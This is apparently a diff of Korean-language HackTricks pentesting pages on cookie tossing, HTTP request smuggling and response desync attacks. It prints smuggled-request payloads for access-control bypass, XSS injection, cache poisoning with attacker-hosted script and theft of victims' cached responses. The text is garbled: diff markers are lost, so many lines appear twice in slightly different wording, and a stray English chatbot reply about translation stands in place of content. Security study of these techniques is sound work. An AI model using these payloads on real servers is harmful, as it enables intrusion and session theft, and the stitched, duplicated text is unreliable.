- **피해자의 쿠키를 공격자의 계정에 고정**시켜 사용자가 이를 인지하지 못하면, **공격자의 계정에서 행동을 수행하게 됩니다**. 공격자는 흥미로운 정보를 얻을 수 있습니다(플랫폼에서 사용자의 검색 기록 확인, 피해자가 계정에 신용카드를 설정할 수 있음...)
- **로그인 후 쿠키가 변경되지 않는 경우**, 공격자는 **쿠키를 고정(세션 고정)**시키고, 피해자가 로그인할 때까지 기다린 후 **그 쿠키를 사용하여 피해자로 로그인할 수 있습니다**.
- **피해자의 쿠키를 공격자의 계정으로 고정**하여 사용자가 이를 인지하지 못하면, **공격자의 계정에서 행동을 수행하게 됩니다**. 공격자는 흥미로운 정보를 얻을 수 있습니다(플랫폼에서 사용자의 검색 기록 확인, 피해자가 계정에 신용카드를 설정할 수 있음...)
- **로그인 후 쿠키가 변경되지 않는 경우**, 공격자는 **쿠키를 고정(세션 고정)**하고 피해자가 로그인할 때까지 기다린 후 **그 쿠키를 사용하여 피해자로 로그인할 수 있습니다**.
- 때때로, 세션 쿠키가 변경되더라도 공격자는 이전 쿠키를 사용하고 새로운 쿠키도 받을 수 있습니다.
- **쿠키가 초기 값을 설정하는 경우**(예: 플라스크에서 **쿠키**가 **세션의 CSRF 토큰**을 **설정**하고 이 값이 피해자가 로그인한 후에도 유지되는 경우), **공격자는 이 알려진 값을 설정한 후 이를 악용할 수 있습니다**(이 경우 공격자는 CSRF 토큰을 알고 있으므로 사용자가 CSRF 요청을 수행하게 만들 수 있습니다).
- 값을 설정하는 것처럼, 공격자는 서버에서 생성된 인증되지 않은 쿠키를 얻고, 그로부터 CSRF 토큰을 얻어 사용할 수도 있습니다.
### 쿠키 순서
브라우저가 **같은 이름의 두 쿠키를 수신하고** **같은 범위**(도메인, 서브도메인 및 경로)에 부분적으로 영향을 미치는 경우, **브라우저는 요청에 대해 두 쿠키의 값을 모두 보냅니다**.
브라우저가 **같은 이름의 두 쿠키를 수신하고** **같은 범위(도메인, 서브도메인 및 경로)에 부분적으로 영향을 미치는 경우**, **브라우저는 요청에 대해 두 쿠키의 값을 모두 보냅니다**.
누가 **가장 구체적인 경로**를 가지고 있는지 또는 어떤 것이 **가장 오래된 것인지**에 따라, 브라우저는 **먼저 쿠키의 값을 설정하고** 그 다음에 다른 쿠키의 값을 설정합니다. 예: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
가장 **구체적인 경로**를 가진 쿠키나 **가장 오래된 쿠키**에 따라, 브라우저는 **먼저 쿠키의 값을 설정**하고 그 다음에 다른 쿠키의 값을 설정합니다. 예: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
대부분의 **웹사이트는 첫 번째 값만 사용합니다**. 따라서 공격자가 쿠키를 설정하려면 다른 쿠키가 설정되기 전에 설정하는 것이 좋거나 더 구체적인 경로로 설정하는 것이 좋습니다.
> [!WARNING]
> 또한, **더 구체적인 경로에 쿠키를 설정할 수 있는 능력**은 매우 흥미롭습니다. 이는 **피해자가 악성 쿠키가 설정된 특정 경로를 제외하고 자신의 쿠키로 작업하게 만들 수 있습니다**.
> 또한, **더 구체적인 경로에 쿠키를 설정할 수 있는 능력**은 매우 흥미롭습니다. 이는 **피해자가 악성 쿠키가 설정된 특정 경로를 제외 자신의 쿠키로 작업하게 만들 수 있습니다**.
### 보호 우회
@ -40,7 +40,7 @@
cookie-jar-overflow.md
{{#endref}}
또 다른 유용한 **우회** 방법은 **쿠키의 이름을 URL 인코딩하는 것입니다**. 일부 보호 요청에서 같은 이름의 두 쿠키를 확인하고, 서버는 쿠키의 이름을 디코딩합니다.
또 다른 유용한 **우회 방법**은 **쿠키의 이름을 URL 인코딩하는 것입니다**. 일부 보호 방법은 요청에서 같은 이름의 두 쿠키를 확인하고, 서버는 쿠키의 이름을 디코딩합니다.
### 쿠키 폭탄
@ -54,7 +54,7 @@ cookie-bomb.md
#### **쿠키 이름에 접두사 `__Host` 사용**
- 쿠키 이름에 이 접두사가 있는 경우, **Secure로 표시되고, 안전한 출처에서 전송되며, Domain 속성이 포함되지 않고, Path 속성이 /로 설정된 경우에만** Set-Cookie 지시문에서 **수락됩니다**.
- 쿠키 이름에 이 접두사가 있으면, **Secure로 표시되고, 안전한 출처에서 전송되며, Domain 속성이 포함되지 않고, Path 속성이 /로 설정된 경우에만** Set-Cookie 지시문에서 **수락됩니다**.
- **이것은 서브도메인이 쿠키를 최상위 도메인으로 강제 설정하는 것을 방지합니다. 이러한 쿠키는 "도메인 잠금"으로 간주될 수 있습니다.**
### 참고 문헌
@ -62,6 +62,6 @@ cookie-bomb.md
- [**@blueminimal**](https://twitter.com/blueminimal)
- [**https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers**](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers)
- [**https://github.blog/2013-04-09-yummy-cookies-across-domains/**](https://github.blog/2013-04-09-yummy-cookies-across-domains/)
- [**쿠키 부서지기: 웹 세션 무결성 취약점 드러내기**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
- [**쿠키 부서: 웹 세션 무결성 취약점 드러내기**](https://www.youtube.com/watch?v=F_wAzF4a7Xg)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@ Host: [internal-host]
```
### First-request Routing
일부 구성에서 프론트엔드 서버는 **첫 번째 요청의 Host 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정하고, 이후 동일한 클라이언트 연결의 모든 요청을 동일한 백엔드 연결로 지속적으로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
일부 구성에서 프론트엔드 서버는 **첫 번째 요청의 Host 헤더**를 사용하여 해당 요청의 백엔드 라우팅을 결정한 다음, 동일한 클라이언트 연결의 모든 후속 요청을 동일한 백엔드 연결로 지속적으로 라우팅할 수 있습니다. 이는 다음과 같이 설명할 수 있습니다:
```
GET / HTTP/1.1
Host: example.com

View File

@ -32,7 +32,7 @@
HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:**
- **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나야 하며, **요청 끝에 새 줄이 필요하지 않습니다**.
- **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크로 끝나고 2개의 새 줄**로 이어져야 합니다: `0`
- **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크로 끝나고 2개의 새 줄이 뒤따라야** 합니다: `0`
- **Connection**: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
## Basic Examples
@ -40,7 +40,7 @@ HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:**
> [!TIP]
> Burp Suite로 이를 악용하려고 할 때 **`Update Content-Length``Normalize HTTP/1 line endings`**를 리피터에서 비활성화하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
HTTP 요청 스머글링 공격은 **Content-Length** (CL) 및 **Transfer-Encoding** (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE**의 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
HTTP 요청 스머글링 공격은 **Content-Length** (CL) 및 **Transfer-Encoding** (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE**의 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
### Basic Examples of Vulnerability Types
@ -104,7 +104,7 @@ x=
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **서버:** 두 서버 모두 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
- **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
- **공격 시나리오:**
- 공격자는 난독화된 `Transfer-Encoding` 헤더가 있는 요청을 보냅니다.
@ -146,7 +146,7 @@ Normal Request
#### **CL.0 Scenario**
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지며 요청 본문에 콘텐츠가 있음을 나타내는 시나리오를 의미합니다. 백엔드는 `Content-Length` 헤더를 무시하(0으로 처리됨), 프론트엔드는 이를 파싱합니다.
- `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지며 요청 본문에 콘텐츠가 있음을 나타내는 시나리오를 의미합니다. 백엔드는 `Content-Length` 헤더를 무시하지만(0으로 처리됨), 프론트엔드는 이를 파싱합니다.
- 이는 스머글링 공격을 이해하고 구성하는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다.
- **예시:**
@ -189,11 +189,11 @@ EMPTY_LINE_HERE
#### 홉-바이-홉 헤더를 통한 강제화
홉-바이-홉 헤더를 악용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있습니다**.
홉-바이-홉 헤더를 악용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있습니다.**
```
Connection: Content-Length
```
더 많은 **hop-by-hop 헤더에 대한 정보**는 다음을 방문하세요:
더 많은 **hop-by-hop 헤더에 대한 정보**는 다음을 방문하십시오:
{{#ref}}
../abusing-hop-by-hop-headers.md
@ -255,23 +255,23 @@ X
### 취약점을 찾기 위한 다른 방법
- **차별적 응답 분석:**
- 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 구문 분석 불일치를 나타냅니다.
- 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르면 파싱 불일치를 나타냅니다.
- **자동화 도구 사용:**
- Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다.
- **Content-Length 변동 테스트:**
- 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 전송하고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다.
- 실제 콘텐츠 길이에 맞지 않는 다양한 `Content-Length` 값을 가진 요청을 전송하고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다.
- **Transfer-Encoding 변동 테스트:**
- 난독화되거나 잘못된 `Transfer-Encoding` 헤더를 가진 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 어떻게 다르게 반응하는지 모니터링합니다.
### HTTP 요청 스머글링 취약점 테스트
타이밍 기법의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE``TE.CL` 예시는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 했음에도 불구하고 말입니다.
타이밍 기법의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE``TE.CL` 예시는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 니다.
**주요 고려사항**
다른 요청을 방해하여 요청 스머글링 취약점을 테스트할 때 유의해야 할 사항:
- **별도의 네트워크 연결:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청 모두 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
- **별도의 네트워크 연결:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
- **일관된 URL 및 매개변수:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위한 전제 조건입니다.
- **타이밍 및 경합 조건:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
- **로드 밸런싱 문제:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
@ -283,7 +283,7 @@ X
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 스머글링을 악용하여 제한된 엔드포인트에 대한 무단 접근을 허용함으로써 우회될 수 있습니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 스머글링된 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
다음은 HTTP 요청 스머글링을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여주는 예시입니다. 특히 일반적으로 프론트엔드 프록시에 의해 보호되`/admin` 경로를 목표로 합니다:
다음은 HTTP 요청 스머글링을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여주는 예시입니다. 특히 일반적으로 프론트엔드 프록시가 보호하`/admin` 경로를 목표로 합니다:
**CL.TE 예시**
```
@ -320,11 +320,11 @@ a=x
0
```
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후에 포함된 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 제한된 `/admin` 경로에 대한 접근을 무심코 허용합니다.
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후에 포함된 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
애플리케이션은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 우회** 또는 **숨겨진 정보나 엔드포인트를 발견하는 방법**을 드러낼 수 있기 때문에 중요할 수 있습니다.
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드에 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 우회** 또는 **숨겨진 정보나 엔드포인트를 발견하는 방법**을 드러낼 수 있기 때문에 중요할 수 있습니다.
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
```
@ -345,7 +345,7 @@ search=
```
이 구조에서 후속 요청 구성 요소는 `search=` 뒤에 추가되며, 이는 응답에 반영되는 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.
중요한 것은 중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
중요한 것은 중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
@ -409,13 +409,13 @@ Content-Type: application/x-www-form-urlencoded
A=
```
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구성됩니다:
이 페이로드는 취약점을 악용하기 위해 다음과 같이 구조화되었습니다:
1. `Transfer-Encoding: chunked` 헤더가 있는 일반적인 `POST` 요청을 시작하여 밀반입의 시작을 나타냅니다.
2. 다음으로 `0`추가하여 청크된 메시지 본문의 끝을 표시합니다.
2. 다음으로 `0`사용하여 청크된 메시지 본문의 끝을 표시합니다.
3. 그런 다음, `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트를 주입한 밀반입된 `GET` 요청이 도입되어, 서버가 이 후속 요청을 처리할 때 XSS가 트리거됩니다.
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사 XSS 취약점을 악용합니다.
밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사 XSS 취약점을 악용합니다.
#### HTTP/0.9
@ -424,7 +424,7 @@ A=
HTTP/0.9 버전은 1.0 이전의 버전으로, **GET** 동사만 사용하며 **헤더**로 응답하지 않고 본체만 응답합니다.
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하여 응답이 `Content-Type``text/html` 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하여 응답이 `Content-Type``text/html`인 실행 가능한 JS 코드를 포함하게 됩니다.
### HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -468,11 +468,11 @@ Location: https://attacker-website.com/home/
### HTTP Request Smuggling을 통한 웹 캐시 오염 활용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
웹 캐시 오염은 **프론트엔드 인프라의 콘텐츠를 캐시**하는 어떤 구성 요소가 있을 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
웹 캐시 오염은 **프론트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**할 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다.
이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [Basic Examples](./#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로 `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 콘텐츠로 대체되어, `/static/include.js`가 사용자에게 접근할 수 없게 되어 서비스 거부(DoS)로 이어질 수 있습니다.
이 기술은 **Open Redirect 취약점**이 발견되거나 **오픈 리디렉션으로의 사이트 내 리디렉션**이 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
이 기술은 **Open Redirect 취약점**이 발견되거나 **오픈 리디렉션으로의 사이트 내 리디렉션**이 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 교차 사이트 스크립팅(XSS) 공격을 가능하게 합니다.
아래는 **사이트 내 리디렉션과 오픈 리디렉션을 결합한 캐시 오염 활용**의 예시입니다. 목표는 공격자가 제어하는 JavaScript 코드를 제공하기 위해 `/static/include.js`의 캐시 콘텐츠를 변경하는 것입니다:
```
@ -516,17 +516,17 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
이 스머글된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
이 스머글된 요청이 정적 콘텐츠를 위한 캐시 항목을 오염시키면(예: `/someimage.png`), 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다.
### HTTP 요청 스머글링을 통한 TRACE 남용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**이 게시물에서**](https://portswigger.net/research/trace-desync-attack) 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:
[**이 게시물에서**](https://portswigger.net/research/trace-desync-attack) 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 용할 수 있다고 제안합니다. 이는 이 메서드가 서버에 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
I'm ready to assist you with the translation. Please provide the text you would like to have translated.
I'm ready to assist you with the translation. Please provide the text you would like me to translate.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -587,7 +587,7 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### HTTP 요청 스머글링을 HTTP 응답 비동기화로 무기화하기
### HTTP 요청 스머글링을 HTTP 응답 비동기화로 무하기
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용할지 모르겠다면, 다음의 다른 악용 방법을 시도해 보세요:

View File

@ -2,6 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
**게시물 확인: [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
**게시물 확인 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,23 +8,23 @@
우선, 이 기술은 **HTTP Request Smuggling 취약점**을 **악용**하므로, 그것이 무엇인지 알아야 합니다:
이 기술과 일반적인 HTTP Request Smuggling의 **주요 차이점**은 **희생자의 요청에 접두사를 추가하여 공격하는 대신**, 우리는 **희생자가 받는 응답을 유출하거나 수정할 것**이라는 점입니다. 이는 HTTP Request Smuggling을 악용하기 위해 1.5개의 요청을 보내는 대신, **프록시 응답 대기열을 비동기화하기 위해 2개의 완전한 요청을 보냅니다**.
이 기술과 일반적인 HTTP Request Smuggling의 **주요 차이점**은 **희생자의 요청에 접두사를 추가하여 공격하는 대신**, 우리는 **희생자가 받는 응답을 유출하거나 수정할 것**이라는 점입니다. 이는 HTTP Request Smuggling을 악용하기 위해 1.5개의 요청을 보내는 대신, **프록시 응답 대기열을 비동기화하기 위해 2개의 완전한 요청을 보냄으로써** 이루어집니다.
이는 우리가 **응답 대기열을 비동기화**할 수 있기 때문에 **희생자의 정당한 요청의 응답이 공격자에게 전송되거나**, **희생자에게 응답하는 내용에 공격자가 제어하는 콘텐츠를 주입**할 수 있니다.
이는 우리가 **응답 대기열을 비동기화**할 수 있기 때문에 **희생자의 정당한 요청의 응답이 공격자에게 전송되거나**, **희생자에게 응답하는 내용에 공격자가 제어하는 콘텐츠를 주입**할 수 있기 때문입니다.
### HTTP 파이프라인 비동기화
HTTP/1.1은 **이전 요청을 기다리지 않고도 다양한 리소스를 요청할 수** 있습니다. 따라서, **중간에 프록시**가 있다면, 프록시의 작업은 **백엔드에 전송된 요청과 그로부터 오는 응답을 동기화된 상태로 유지하는 것**입니다.
그러나 응답 대기열을 비동기화하는 데 문제가 있습니다. 공격자가 HTTP Response Smuggling 공격을 보내고 **초기 요청과 밀반입된 요청에 대한 응답이 즉시 응답되면**, 밀반입된 응답은 희생자 응답 대기열에 삽입되지 않고 **단순히 오류로 폐기됩니다**.
그러나 응답 대기열을 비동기화하는 데 문제가 있습니다. 공격자가 HTTP Response Smuggling 공격을 보내고 **초기 요청과 밀반입된 요청에 대한 응답이 즉시 응답**되면, 밀반입된 응답은 희생자 응답 대기열에 삽입되지 않고 **단순히 오류로 폐기**됩니다.
![](<../images/image (633).png>)
따라서, **밀반입된 요청이 백엔드 서버에서 처리되는 데 더 많은 시간이 걸리도록 해야** 합니다. 따라서 밀반입된 요청이 처리될 때쯤에는 공격자와의 통신이 종료니다.
따라서, **밀반입된 요청이 백엔드 서버에서 처리되는 데 더 많은 시간이 걸리도록** 해야 합니다. 따라서 밀반입된 요청이 처리될 때쯤에는 공격자와의 통신이 종료될 것입니다.
특정 상황에서 **희생자가 요청을 보냈고** **밀반입된 요청이 정당한 요청보다 먼저 응답되면**, **밀반입된 응답이 희생자에게 전송됩니다**. 따라서 공격자는 **희생자가 "수행한" 요청을 제어하게 됩니다**.
특정 상황에서 **희생자가 요청을 보냈고** **밀반입된 요청이 정당한 요청보다 먼저 응답**되면, **밀반입된 응답이 희생자에게 전송**됩니다. 따라서 공격자는 **희생자가 "수행한" 요청을 제어하게 됩니다**.
게다가, **공격자가 요청을 수행하고** **희생자 요청에 대한 정당한 응답이 공격자의 요청보다 먼저 응답되면**, **희생자에 대한 응답이 공격자에게 전송되어**, **희생자에 대한 응답을 훔치게 됩니다** (예를 들어, **Set-Cookie** 헤더를 포함할 수 있습니다).
게다가, **공격자가 요청을 수행하고** **희생자 요청에 대한 정당한 응답이** **공격자의 요청보다 먼저 응답**되면, **희생자에 대한 응답이 공격자에게 전송**되어 **희생자에 대한 응답을 훔치게 됩니다** (예를 들어, **Set-Cookie** 헤더를 포함할 수 있습니다).
![](<../images/image (1020).png>)
@ -32,15 +32,15 @@ HTTP/1.1은 **이전 요청을 기다리지 않고도 다양한 리소스를 요
### 다중 중첩 주입
일반적인 **HTTP Request Smuggling**과의 또 다른 **흥미로운 차이점**은, 일반적인 밀반입 공격에서는 **목표가 희생자의 요청 시작 부분을 수정하여 예상치 못한 작업을 수행하게 하는 것**입니다. **HTTP Response Smuggling 공격**에서는 **전체 요청을 보내기 때문에**, **하나의 페이로드에 수십 개의 응답을 주입**하여 **수십 명의 사용자를 비동기화**할 수 있습니다.
일반적인 **HTTP Request Smuggling**과의 또 다른 **흥미로운 차이점**은, 일반적인 밀반입 공격에서는 **목표가 희생자의 요청 시작 부분을 수정하여 예상치 못한 행동을 수행하게 하는 것**입니다. **HTTP Response Smuggling 공격**에서는 **전체 요청을 보내기 때문에**, **하나의 페이로드에 수십 개의 응답을 주입**하여 **수십 명의 사용자를 비동기화**할 수 있습니다.
정당한 사용자에게 수십 개의 익스플로잇을 **더 쉽게 배포할 수 있을 뿐만 아니라**, 이는 서버에 **DoS**를 유발하는 데도 사용될 수 있습니다.
정당한 사용자에게 수십 개의 익스플로잇을 **더 쉽게 배포**할 수 있을 뿐만 아니라, 이는 서버에 **DoS**를 유발하는 데도 사용될 수 있습니다.
### 익스플로잇 조직
